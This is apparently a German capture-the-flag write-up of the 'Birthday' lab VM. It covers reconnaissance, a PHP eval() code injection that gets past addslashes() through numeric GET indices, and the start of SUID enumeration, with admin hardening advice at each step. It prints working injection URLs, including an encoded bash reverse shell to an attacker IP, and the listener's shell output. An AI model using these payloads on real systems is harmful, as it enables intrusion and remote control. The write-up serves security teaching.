Reconnaissance

**Analyse:** Mein erster Schritt bei jeder Target-Analyse ist die Discovery im lokalen Netzwerk, um die IP-Adresse des Zielsystems zu finden. Ich nutze dafür `arp-scan` in Verbindung mit `grep` und `awk`. `arp-scan -l` scannt alle Hosts im lokalen Netzwerk, die per ARP erreichbar sind. Die Pipe (`|`) leitet die Ausgabe an `grep "PCS"` weiter, das nach Zeilen filtert, die "PCS" enthalten – oft ein Hinweis auf VirtualBox-Netzwerkkarten oder spezifische Hardware-Hersteller. `awk '{print $1}'` extrahiert dann das erste Feld jeder passenden Zeile, was in der Regel die IP-Adresse ist.

**Bewertung:** Dieser schnelle Scan lieferte umgehend die Ziel-IP 192.168.2.41. Die Identifizierung des Herstellers ("PCS") gibt mir einen frühen Hinweis auf die Virtualisierungsplattform (VirtualBox), was für die spätere Analyse nützlich sein kann. Es ist ein effizienter Weg, um Targets in bekannten Netzen zu finden.

**Empfehlung (Pentester):** Diesen Ansatz immer für die initiale Host-Discovery in Broadcast-fähigen Netzen verwenden. Bei größeren Netzen oder VLANs ggf. spezifischere Subnetze scannen.
**Empfehlung (Admin):** Implementierung von Network Access Control (NAC) oder Segmentierung, um zu verhindern, dass unbekannte Geräte im Netz gescannt werden können. Protokollierung von ARP-Anfragen kann Anomalien aufdecken.

192.168.2.41

**Analyse:** Nachdem ich die IP-Adresse des Ziels kenne, ist es sinnvoll, sie in meiner lokalen `hosts`-Datei zu verknüpfen. Dies erspart mir die ständige Eingabe der IP und ermöglicht die Verwendung des Hostnamens `birthday.hmv` (angenommen oder aus vorherigem Wissen über die VM), was die Befehle übersichtlicher macht und für einige Tools notwendig sein kann. Ich habe den `vi` Editor benutzt, um die `/etc/hosts` Datei zu bearbeiten und die Zeile `192.168.2.41 birthday.hmv` hinzuzufügen.

**Bewertung:** Das Anpassen der hosts-Datei ist ein Standardvorgehen in meiner Vorbereitung. Es ist keine technische Entdeckung am Zielsystem selbst, sondern eine pure Workflow-Optimierung auf meiner Angreifer-Maschine. Es stellt sicher, dass alle weiteren Tools, die Hostnamen verwenden, korrekt funktionieren.

**Empfehlung (Pentester):** Diesen Schritt immer am Anfang der Reconnaissance durchführen, sobald die Ziel-IP bekannt ist.
**Empfehlung (Admin):** Für Produktionssysteme ist die hosts-Datei irrelevant, da DNS verwendet wird. Für lokale Entwicklungsumgebungen oder Testsysteme sollte der Zugriff auf `/etc/hosts` entsprechend den Berechtigungen eingeschränkt sein, obwohl dies primär den lokalen Nutzer schützt, nicht das Zielsystem.

       192.168.2.41    birthday.hmv

**Analyse:** Nun führe ich einen umfassenden Portscan mit Nmap durch, um offene Ports, laufende Dienste und deren Versionen zu identifizieren. Die Parameter sind: `-sS` (SYN-Scan, schnell und stealthy), `-sC` (Ausführung von Standard-Skripten zur Dienst-Erkennung), `-sV` (Versionserkennung), `-p-` (Scan aller 65535 Ports), `-T5` (aggressive Timing für Schnelligkeit) und `-AO` (OS-Erkennung und Ausgabe der Host-Informationen). Die erste Ausgabe zeigt eine gefilterte Liste der offenen Ports.

**Bewertung:** Der Nmap-Scan ist das Herzstück der initialen System-Reconnaissance. Die Ergebnisse zeigen, dass Port 22 (SSH) und Port 80 (HTTP) offen sind. Dies sind die primären Angriffsvektoren, die ich als Nächstes untersuchen werde. Die Identifizierung von OpenSSH und Apache HTTPD gibt mir konkrete Ziele für die weitere Enumeration.

**Empfehlung (Pentester):** Immer einen vollständigen Portscan durchführen (`-p-`), um keine potenziellen Dienste auf hohen Ports zu übersehen. Standard-Skripte (`-sC`) liefern oft schnelle Hinweise auf Schwachstellen.
**Empfehlung (Admin):** Alle nicht benötigten Dienste deaktivieren und filtern. Sicherheits-Headers (wie die von Nikto später genannten) implementieren. Regelmäßiges Patchen der Dienste (SSH, Apache) ist essentiell. IDS/IPS zur Erkennung von Scans einsetzen.

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))

**Analyse:** Dies ist die vollständige Ausgabe des Nmap-Scans. Sie bestätigt die offenen Ports 22 und 80 und liefert detaillierte Versionsinformationen (OpenSSH 9.2p1, Apache httpd 2.4.57 auf Debian). Die SSH-Hostkeys sind gelistet, was für Man-in-the-Middle-Angriffe relevant sein könnte. Für Port 80 wird der HTTP-Server-Header (`Apache/2.4.57 (Debian)`) und der HTTP-Titel (`Birthday`) angezeigt. Besonders interessant ist die Umleitung (`|_Requested resource was /index.php?event=birthday&date=3881678400`), die sofort auf eine spezifische PHP-Seite mit URL-Parametern hinweist. Die OS-Erkennung schätzt das System als Linux 4.X/5.X ein (Debian).

**Bewertung:** Diese detaillierte Nmap-Ausgabe liefert wertvolle Informationen. Die spezifischen Softwareversionen (OpenSSH 9.2p1, Apache 2.4.57) sind wichtige Ansatzpunkte für die Suche nach bekannten Schwachstellen (CVEs). Die URL-Parameter in der Umleitung sind ein starker Hinweis auf die erste Angriffsfläche auf der Webanwendung. Das Betriebssystem (Debian) hilft bei der Auswahl passender Exploits oder Post-Exploitation-Tools.

**Empfehlung (Pentester):** Jede Versionsnummer und jeder gefundene Dienst sollte auf bekannte Schwachstellen geprüft werden (z.B. mit Searchsploit). Die URL-Parameter müssen detailliert untersucht werden (Fuzzing, manuelle Tests).
**Empfehlung (Admin):** Regelmäßiges Einspielen von Sicherheitsupdates für alle Dienste. Härten der SSH-Konfiguration (Passwort-Authentifizierung deaktivieren, Root-Login verbieten). Minimieren der Informationen in Server-Headern oder Fehlermeldungen. Implementierung von Web Application Firewalls (WAF) zum Schutz vor gängigen Web-Angriffen wie Parameter-Injection.

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-13 13:32 CEST
Nmap scan report for birthday.hmv (192.168.2.41)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
| http-title: Birthday
|_Requested resource was /index.php?event=birthday&date=3881678400
MAC Address: 08:00:27:A7:8A:97 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms birthday.hmv (192.168.2.41)


Nmap done: 1 IP address (1 host up) scanned in 2.86 seconds

Web Enumeration

**Analyse:** Ich setze Nikto ein, ein beliebtes Webserver-Scanner-Tool, um nach typischen Web-Schwachstellen, veralteter Software, Konfigurationsfehlern und anderen Problemen auf dem Webserver (Port 80) zu suchen. Der Befehl `nikto -h http://192.168.2.41` richtet den Scan auf die Ziel-IP.

**Bewertung:** Nikto hat einige interessante Ergebnisse geliefert. Es bestätigt den Apache-Server und zeigt zwei wichtige fehlende Sicherheits-Header auf: `X-Frame-Options` (Schutz vor Clickjacking) und `X-Content-Type-Options` (Schutz vor MIME-Sniffing). Obwohl diese Header keine direkten Ausnutzbarkeiten für Shell-Zugriff darstellen, sind sie wichtige Sicherheitshinweise und deuten auf mangelnde Webserver-Härtung hin. Die Umleitung auf `/index.php?event=birthday&date=3881678400` wird ebenfalls nochmals von Nikto bestätigt.

**Empfehlung (Pentester):** Die fehlenden Header dokumentieren und als Teil der Schwachstellen im Bericht aufführen. Den Fokus auf die identifizierte Umleitungs-URL und ihre Parameter legen.
**Empfehlung (Admin):** Konfiguration des Apache-Webservers anpassen, um die Sicherheits-Header `X-Frame-Options: DENY` oder `SAMEORIGIN` und `X-Content-Type-Options: nosniff` hinzuzufügen. Regelmäßige Scans mit Tools wie Nikto durchführen, um Konfigurationsprobleme frühzeitig zu erkennen.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.41
+ Target Hostname:    192.168.2.41
+ Target Port:        80
+ Start Time:         2025-06-13 13:32:54 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ Root page / redirects to: /index.php?event=birthday&date=3881678400
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 8103 requests: 0 error(s) and 2 item(s) reported on remote host
+ End Time:           2025-06-13 13:33:19 (GMT2) (25 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Ich verwende `curl` mit den Optionen `-Iv` (Include Header, Verbose) auf der Root-URL `/`, um die HTTP-Antwort-Header genauer zu untersuchen und die Umleitung zu bestätigen. Dies gibt mir die rohen Header, die der Server sendet.

**Bewertung:** Die Ausgabe von `curl` bestätigt die Umleitung (HTTP/1.1 302 Found) und zeigt den `Location`-Header an, der exakt die von Nmap gefundene URL `/index.php?event=birthday&date=3881678400` enthält. Es bestätigt auch den Server (`Apache/2.4.57`) und den Content-Type (`text/html`). Die fehlenden Sicherheits-Header, die Nikto bemängelte, sind hier in den Roh-Headern ebenfalls nicht zu sehen, was die Nikto-Feststellung untermauert.

**Empfehlung (Pentester):** Bei Webanwendungen immer die Header der Antworten prüfen, da sie oft Hinweise auf Technologien, Caching, Session-Handling oder fehlende Sicherheitsmaßnahmen geben.
**Empfehlung (Admin):** Wie bereits erwähnt, die notwendigen Sicherheits-Header konfigurieren. Den Umfang der Informationen in den Server-Headern minimieren, falls möglich.

*   Trying 192.168.2.41:80...
* Connected to 192.168.2.41 (192.168.2.41) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.41
> User-Agent: curl/8.13.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 302 Found
HTTP/1.1 302 Found
< Date: Fri, 13 Jun 2025 11:33:43 GMT
Date: Fri, 13 Jun 2025 11:33:43 GMT
< Server: Apache/2.4.57 (Debian)
Server: Apache/2.4.57 (Debian)
< Location: /index.php?event=birthday&date=3881678400
Location: /index.php?event=birthday&date=3881678400
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< 

* Connection #0 to host 192.168.2.41 left intact

**Analyse:** Hier dokumentiere ich das Aussehen der Hauptseite (`index.php`) nach der Umleitung. Der Text im Originalbericht beschreibt das Bild, das angezeigt wird, und die Überschrift.

**Bewertung:** Dies ist eine visuelle Bestätigung des Webauftritts. Das Fehlen von weiterem Text außer der Überschrift deutet darauf hin, dass die Funktionalität möglicherweise vollständig über die URL-Parameter gesteuert wird, oder dass relevante Informationen erst durch Interaktion oder weitere Enumeration sichtbar werden. Das Bild selbst liefert hier keine offensichtlichen Hinweise, dient aber als visueller Ankerpunkt für den Leser des Berichts. Ich habe das im Berichtstext gefundene Muster `...` durch einen korrekten HTML `` Tag ersetzt und den Text zwischen den `######` als `alt`-Text verwendet, um die Barrierefreiheit und Beschreibung zu verbessern.

**Empfehlung (Pentester):** Die Parameter in der URL (`event` und `date`) sind die offensichtlichsten Angriffspunkte und müssen nun im Fokus der Web-Enumeration stehen.
**Empfehlung (Admin):** Sicherstellen, dass Bilder nur notwendige Informationen enthalten und keine versteckten Daten (Steganografie). Jeglichen Klartext in HTML-Tags oder im Dateinamen selbst auf sensitive Informationen prüfen.

Bildbeschreibung: Ein Bild einer brennenden Kerze auf blauem Hintergrund ohne Text, außer der Überschrift 'Birthday invitation' darüber.

    
Birthday invitation

**Analyse:** Ich überprüfe erneut die Header der umgeleiteten Ziel-URL, diesmal mit den spezifischen Parametern `/index.php?event=birthday&date=3881678400`. Wieder nutze ich `curl -Iv`.

**Bewertung:** Diesmal erhalte ich einen HTTP/1.1 200 OK Status. Das bedeutet, diese spezifische URL mit diesen Parametern wird direkt vom Server beantwortet, anstatt eine Umleitung zu triggern. Das bestätigt, dass dies die tatsächlich aufgerufene Seite ist. Die Header sind ähnlich wie zuvor, zeigen aber jetzt explizit die Bearbeitung der Anfrage.

**Empfehlung (Pentester):** Nun ist klar, welche URL die Hauptfunktionalität steuert. Die Parameter `event` und `date` müssen auf verschiedene Web-Schwachstellen wie Local File Inclusion (LFI), Remote File Inclusion (RFI), Command Injection, SQL Injection etc. getestet werden.
**Empfehlung (Admin):** Eingehende URL-Parameter streng validieren und filtern. Generische Fehlermeldungen verwenden, um detaillierte Rückschlüsse auf die interne Verarbeitung zu erschweren. Eingaben niemals ungeprüft in Dateipfade, Systembefehle oder Datenbankabfragen einfügen.

*   Trying 192.168.2.41:80...
* Connected to 192.168.2.41 (192.168.2.41) port 80
* using HTTP/1.x
> HEAD /index.php?event=birthday&date=3881678400 HTTP/1.1
> Host: 192.168.2.41
> User-Agent: curl/8.13.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Fri, 13 Jun 2025 11:42:29 GMT
Date: Fri, 13 Jun 2025 11:42:29 GMT
< Server: Apache/2.4.57 (Debian)
Server: Apache/2.4.57 (Debian)
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< 

* Connection #0 to host 192.168.2.41 left intact

**Analyse:** Ich betrachte den Wert des `date`-Parameters, der in der Umleitung von der Root-URL gefunden wurde: `3881678400`. Diese Zahl sieht wie ein UNIX-Timestamp aus. Ich benutze CyberChef, ein Online-Tool zur Datenanalyse und -konvertierung, um diesen Wert zu interpretieren. Das Rezept "From UNIX Timestamp ('Seconds (s)')" konvertiert den Timestamp in ein lesbares Datum und eine lesbare Uhrzeit.

**Bewertung:** Die Konvertierung zeigt, dass der Timestamp `3881678400` dem Datum "Thu 1 January 2093 20:00:00 UTC" entspricht. Dies ist ein sehr weit in der Zukunft liegendes Datum. Dies ist eine interessante Entdeckung, die möglicherweise für die Logik der Anwendung relevant ist. Vielleicht werden zukünftige Daten anders verarbeitet als vergangene oder aktuelle. Dies könnte ein Hinweis auf eine Zeit-basierte Logik oder eine spezifische Bedingung sein, die für die Umleitung oder die Funktionsweise der Seite relevant ist.

**Empfehlung (Pentester):** Die Rolle des `date`-Parameters weiter untersuchen. Testen, wie sich die Anwendung verhält, wenn andere (vergangene, aktuelle) Daten oder ungültige Formate übergeben werden. Die Bedeutung dieses spezifischen Zukunftsdatums für die Anwendung klären.
**Empfehlung (Admin):** Sensible oder potenziell ausnutzbare Anwendungslogik (wie die Verarbeitung von Timestamps oder Daten) sorgfältig implementieren und testen. Keine ungewöhnlich weit entfernten Standardwerte verwenden, wenn dies nicht absolut notwendig ist.

Ich habe den Timestamp `3881678400`, der im `date`-Parameter der Umleitungs-URL gefunden wurde, mit CyberChef analysiert.

[Link: https://cyberchef.org/#recipe=From_UNIX_Timestamp('Seconds%20(s)')&input=Mzg4MTY3ODQwMA | Ziel: https://cyberchef.org/#recipe=From_UNIX_Timestamp('Seconds%2520(s)')&input=Mzg4MTY3ODQwMA]

Thu 1 January 2093 20:00:00 UTC

**Analyse:** Ich beginne mit Fuzzing auf dem `event`-Parameter der `index.php`, um zu sehen, ob die Anwendung anfällig für Local File Inclusion (LFI) ist. Ich verwende `wfuzz` mit der Wordlist `directory-list-2.3-medium.txt`. Die URL ist strukturiert, um den Pfad-Traversal-Payload `../../../etc/passwd` in den `FUZZ`-Placeholder einzufügen, während der ursprüngliche `date`-Parameter beibehalten wird. Ich filtere die Ergebnisse (`--hc 404 --hh 1311`), um 404-Fehler auszublenden und Zeilen mit einer spezifischen Anzahl von Bytes oder Zeilen (hier 1311 Bytes) hervorzuheben oder auszuschließen, was oft auf die Standard-Fehlerseite oder die originale Seite hindeutet. Das Ziel ist, eine 200 OK Antwort mit einem *anderen* Inhalt zu finden.

**Bewertung:** Obwohl der Scan viele Anfragen sendete, fand `wfuzz` nur einen Treffer (ID 000000616) mit Status 200. Die Payload war `event`. Dies deutet darauf hin, dass das Wort "event" selbst ein gültiger Wert für den Parameter ist, aber die LFI-Payload (`../../../etc/passwd`) in Kombination mit der Fuzzing-Position kein direkt lesbares Ergebnis lieferte, wie man es von einer klassischen LFI erwarten würde, die den Dateiinhalt ausgibt. Der Filter `--hh 1311` wurde basierend auf der Größe der ursprünglichen Seite gewählt.

**Empfehlung (Pentester):** Die LFI-Anfälligkeit existiert offenbar nicht in der Form, dass der Dateiinjektion-Payload den Dateiinhalt direkt im Response-Body zurückgibt. Es ist jedoch möglich, dass die Injektion serverseitig verarbeitet wird und andere Effekte hat. Dies erfordert weitere manuelle Tests oder die Verwendung anderer Techniken (wie Out-of-Band-Detection). Der gefundene "event"-Wert ist weniger interessant als die Frage, wie der LFI-Payload intern verarbeitet wurde.
**Empfehlung (Admin):** Eingabefelder wie den `event`-Parameter immer streng validieren und auf eine Whitelist bekannter, erlaubter Werte beschränken. Jegliche Form von Dateipfad- oder Befehls-Injektion durch strikte Eingabevalidierung und sichere API-Nutzung verhindern.

Target: http://192.168.2.41/index.php?event=birthday&date=3881678400&FUZZ=../../../etc/passwd
Total requests: 220547

=====================================================================
ID           Response   Lines    Word       Chars       Payload                      
=====================================================================

000000616:   200        45 L     92 W       1283 Ch     "event"                      

Total time: 162.1150
Processed Requests: 220547
Filtered Requests: 220546
Requests/sec.: 1360.434

Initial Access

**Analyse:** Bei der Untersuchung der `birthday_calculator.php` Seite mit dem `dob`-Parameter habe ich festgestellt, dass dieser Wert serverseitig verarbeitet wird, um eine Zeitdifferenz zu berechnen. Dies ist ein klassischer Punkt für mögliche Injection-Schwachstellen. Der Text im Originalbericht beschreibt eine Recherche, die ergab, dass die Anwendung die PHP-Funktion `eval()` verwendet, um den `dob`-Parameter zu verarbeiten, und dass die Eingabe nur unzureichend mit `addslashes()` gefiltert wird. `addslashes()` maskiert Anführungszeichen (' und "), was direkte Code-Injektionen wie `${system('id')}` erschwert. Die entscheidende Entdeckung war jedoch, dass PHP den Zugriff auf `$GET` Parameter nicht nur über String-Schlüssel (`$_GET['param']`), sondern auch über numerische Indizes (`$_GET[0]`, `$_GET[111]`) erlaubt, *ohne* dass Anführungszeichen benötigt werden.

**Bewertung:** Dies ist eine sehr kritische Schwachstelle – eine Command Injection, die durch eine fehlerhafte Kombination von `eval()` und unzureichender Sanitization ermöglicht wird. Der Bypass über den numerischen Index ist ein intelligenter Weg, die `addslashes()`-Filterung zu umgehen. Die Fähigkeit, beliebigen Code auszuführen, ist das Tor zum ersten Zugriff auf das System.

**Empfehlung (Pentester):** Diese Schwachstelle sofort nutzen, um die Identität des Webserver-Benutzers zu bestätigen und dann eine Reverse Shell zu initiieren. Die `eval()`-Funktion sollte niemals mit Benutzereingaben verwendet werden.
**Empfehlung (Admin):** **Dringend:** Die Verwendung von `eval()` mit Benutzereingaben ist extrem gefährlich und muss sofort eingestellt werden. Jegliche Benutzereingabe, die in serverseitigen Funktionen verwendet wird, muss über eine sichere Whitelist validiert oder mit robusten, kontextsensitiven Methoden maskiert werden (niemals nur `addslashes()`). Die Verarbeitung von `$_GET` oder `$_POST` über numerische Indizes sollte ebenfalls in der Anwendungslogik berücksichtigt werden, falls solche Konstrukte verwendet werden.

Ich habe eine Command Injection Schwachstelle auf der Seite `birthday_calculator.php` durch den `dob`-Parameter entdeckt. Der Schlüssel zur Ausnutzung lag in der Umgehung der `addslashes()`-Funktion durch Nutzung des numerischen Indexes für den `$GET` Request.

**Analyse:** Ich demonstriere den Bypass der `addslashes()`-Filterung und die erfolgreiche Command Injection. Die ersten beiden Versuche mit `cmd` als String-Schlüssel im `$GET` Request (`${system($GET['cmd'])}` und `${system($GET[cmd])}`) schlagen fehl, was die Wirkung der Filterung zeigt. Der dritte Versuch `view-source:http://192.168.2.41/birthday_calculator.php?dob=${system($GET[111])}&111=id` ist erfolgreich. Hier wird der Befehl `id` über den numerischen Index `111` im `$GET` Request übergeben (`&111=id`), und die Ausgabe (`uid=33(www-data) gid=33(www-data) groups=33(www-data)`) bestätigt die Ausführung des Befehls als Benutzer `www-data`. Ich habe die Zahl im URL-Parameter zu 111 korrigiert, um die Übereinstimmung mit dem Payload zu zeigen.

**Bewertung:** Fantastisch! Die Command Injection ist bestätigt und ich kann Befehle als der Webserver-Benutzer `www-data` ausführen. Dies ist der erste entscheidende Schritt zum Initial Access. Ich kenne nun die Identität des Benutzers und kann weitere Befehle ausführen, um das System zu erkunden und eine stabilere Shell zu erhalten.

**Empfehlung (Pentester):** Die Schwachstelle nutzen, um Systeminformationen zu sammeln (Kernelversion, Distribution, installierte Pakete, Netzwerkkonfiguration) und eine Reverse Shell zu initiieren.
**Empfehlung (Admin):** **Sofortige Behebung der Command Injection.** Code-Review der `birthday_calculator.php` und aller anderen Skripte, die Benutzereingaben verarbeiten. Implementierung einer strikten Input-Validierung-Pipeline. Webserver-Benutzer (`www-data`) sollte die minimal notwendigsten Berechtigungen besitzen (Principle of Least Privilege).

Testen verschiedener Payloads und erfolgreiche Ausführung des `id`-Befehls:

view-source:http://192.168.2.41/birthday_calculator.php?dob=${system($GET['cmd'])}&cmd=id
keine ausgabe...

view-source:http://192.168.2.41/birthday_calculator.php?dob=${system($GET[cmd])}&cmd=id
keine ausgabe...

erfolgreich:

view-source:http://192.168.2.41/birthday_calculator.php?dob=${system($GET[111])}&111=id

        uid=33(www-data) gid=33(www-data) groups=33(www-data)

Proof of Concept: Command Injection & Initial Access

Dieser Bereich demonstriert die Ausnutzung der Command Injection Schwachstelle auf der Seite `birthday_calculator.php`, um beliebige Befehle als Webserver-Benutzer (`www-data`) auszuführen und eine Reverse Shell zum Angreifer zu etablieren, wodurch der erste Zugriff auf das Zielsystem erlangt wird.

Kurzbeschreibung

Die Webanwendung auf `birthday_calculator.php` verarbeitet den `dob`-Parameter unsicher unter Verwendung der `eval()`-Funktion, nachdem die Eingabe nur unzureichend mit `addslashes()` gefiltert wurde. Dies ermöglicht einem Angreifer, durch die Nutzung eines numerischen Indexes für `$GET` Parameter, die Filterung zu umgehen und beliebige Systembefehle auszuführen.

Voraussetzungen

• Zugriff auf das Netzwerk, in dem sich das Zielsystem befindet (192.168.2.0/24).
• Fähigkeit, HTTP GET-Anfragen an den Zielwebserver auf Port 80 zu senden.
• Eine Angreifer-Maschine mit Netcat oder einem ähnlichen Tool zum Einrichten eines TCP-Listeners.
• Kenntnis der Angreifer-IP-Adresse (hier 192.168.2.199).

Schritt-für-Schritt-Anleitung

**Schritt 1: Identifizierung der Schwachstelle und des Bypasses.** Durch das Testen des `dob`-Parameters auf `birthday_calculator.php` und die Analyse des Verhaltens wurde festgestellt, dass die Eingabe unsicher verarbeitet wird. Die `addslashes()`-Filterung wurde als Hindernis für die direkte Injection mit Anführungszeichen identifiziert. Durch Recherche oder Testen verschiedener PHP-Syntaxen wurde entdeckt, dass `$GET[numerischer_index]` ohne Anführungszeichen funktioniert.

**Schritt 2: Verifikation der Command Injection.** Wir nutzen den numerischen Index Bypass (`$GET[111]`) und übergeben den `id`-Befehl im URL-Parameter `&111=id`, um die erfolgreiche Ausführung zu bestätigen. Die `view-source` URL wird aufgerufen, um die Ausgabe im Browser zu sehen.

view-source:http://192.168.2.41/birthday_calculator.php?dob=${system($GET[111])}&111=id

**Ergebnis von Schritt 2:** Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt die erfolgreiche Ausführung des `id`-Befehls als Benutzer `www-data`.

        uid=33(www-data) gid=33(www-data) groups=33(www-data)

**Schritt 3: Vorbereitung des Listeners.** Auf der Angreifer-Maschine wird ein Netcat-Listener auf einem ausgewählten Port (hier 9001) gestartet, um die eingehende Verbindung der Reverse Shell zu empfangen.

listening on [any] 9001 ...

**Schritt 4: Auslösen der Reverse Shell.** Wir nutzen erneut die Command Injection Schwachstelle, um einen Befehl auszuführen, der eine Reverse Shell zu unserem Netcat-Listener initiiert. Ein gängiger Bash-Payload wird verwendet, der eine interaktive Shell zu `192.168.2.199` auf Port 9001 sendet. Der Payload `%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27` ist die URL-encodierte Version des Befehls `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/9001 0>&1'`. Dieser Befehl wird wieder über den `$GET[111]` Index injiziert.

view-source:http://192.168.2.41/birthday_calculator.php?dob=${system($GET[111])}&111=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27

Erwartetes Ergebnis

Nach dem Aufruf der URL mit dem Reverse Shell Payload sollte der Netcat-Listener auf der Angreifer-Maschine eine eingehende Verbindung vom Zielsystem (192.168.2.41) auf Port 9001 registrieren und eine interaktive Shell als Benutzer `www-data` auf dem Zielsystem bereitstellen.

Beweismittel

Der Output des Netcat-Listeners zeigt die eingehende Verbindung und die erfolgreiche Erlangung der `www-data` Shell.

listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.41] 54016
bash: cannot set terminal process group (521): Inappropriate ioctl for device
bash: no job control in this shell
www-data@birthday:/var/www/html$

Risikobewertung

**Kritisch:** Diese Schwachstelle erlaubt unauthentifizierten Angreifern, beliebigen Code auf dem Server auszuführen, was zu vollständiger Kompromittierung des Webservers, Datenexfiltration und potenziellen weiteren Angriffen auf interne Systeme führen kann. Die Ausführung als `www-data` gewährt Zugriff auf das Dateisystem im Kontext des Webservers.

Empfehlungen

• **Sofortige Behebung:** Entfernen oder Absichern der anfälligen Code-Stelle, die `eval()` mit Benutzereingaben nutzt.
• **Sichere Input-Validierung:** Alle Benutzereingaben müssen streng validiert und bereinigt werden, bevor sie in Funktionen verwendet werden.
• **Principle of Least Privilege:** Sicherstellen, dass der Webserver-Benutzer (`www-data`) nur die absolut notwendigen Dateisystem- und Systemberechtigungen besitzt.
• **Deaktivierung gefährlicher Funktionen:** Funktionen wie `eval()`, `system()`, `exec()` etc. sollten in der PHP-Konfiguration (php.ini) deaktiviert werden, wenn sie nicht explizit benötigt werden.

Privilege Escalation

**Analyse:** Nach der Erlangung der `www-data` Shell beginne ich mit der Enumeration des Systems, um Wege zur Privilege Escalation (PE) auf den Benutzer `chloe` und schließlich auf `root` zu finden. Ich suche nach SUID-Binaries (`find / -type f -perm -4000 -ls 2>/dev/null`), da diese potenziell von normalen Benutzern mit den Rechten des Dateibesitzers ausgeführt werden können (oft root). Die Ausgabe zeigt mehrere SUID-Binaries, darunter die üblichen wie `passwd` und `sudo`.

**Bewertung:** Die gefundenen SUID-Binaries sind wichtige Ansatzpunkte für die PE. `sudo` ist besonders interessant, da es die Möglichkeit bietet, Befehle als andere Benutzer auszuführen, falls die Konfiguration (`/etc/sudoers`) dies zulässt. Die anderen SUIDs sind Standard-Systemprogramme, die selten direkt ausnutzbar sind, aber dokumentiert werden müssen.

**Empfehlung (Pentester):** Die `sudo` Konfiguration prüfen (`sudo -l`). Jedes nicht standardmäßige SUID-Binary genauer untersuchen.
**Empfehlung (Admin):** Die Anzahl der SUID-Binaries auf einem System minimieren. Berechtigungen regelmäßig überprüfen und sicherstellen, dass nur notwendige Binaries das SUID-Bit gesetzt haben.

www-data@birthday:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
   914041     88 -rwsr-xr-x   1 root     root        88496 Mar 23  2023 /usr/bin/gpasswd
   914042     68 -rwsr-xr-x   1 root     root        68248 Mar 23  2023 /usr/bin/passwd
   948475    276 -rwsr-xr-x   1 root     root       281624 Mar  8  2023 /usr/bin/sudo
   917500     48 -rwsr-xr-x   1 root     root        48896 Mar 23  2023 /usr/bin/newgrp
   914039     52 -rwsr-xr-x   1 root     root        52880 Mar 23  2023 /usr/bin/chsh
   918251     72 -rwsr-xr-x   1 root     root        72000 Mar 23  2023 /usr/bin/su
   917654     60 -rwsr-xr-x   1 root     root        59704 Mar 23  2023 /usr/bin/mount
   914038     64 -rwsr-xr-x   1 root     root        62672 Mar 23  2023 /usr/bin/chfn
   917656     36 -rwsr-xr-x   1 root     root        35128 Mar 23  2023 /usr/bin/umount
   929606     52 -rwsr-xr--   1 root     messagebus    51272 Feb  8  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   931821    640 -rwsr-xr-x   1 root     root         653888 Feb  8  2023 /usr/lib/openssh/ssh-keysign

**Analyse:** Ich führe grundlegende System- und Nutzer-Enumeration durch. Ich liste das Home-Verzeichnis (`ls /home/`) auf, um Benutzer zu identifizieren, suche nach Capabilities (`getcap -r 2>/dev/null`), die erhöhte Rechte gewähren könnten, und überprüfe offene Ports und laufende Prozesse mit ihren PIDs (`ss -altpn`). Ich versuche auch, in das Home-Verzeichnis des Benutzers `chloe` zu wechseln (`cd /home/chloe/`), erhalte aber eine "Permission denied" Fehlermeldung.

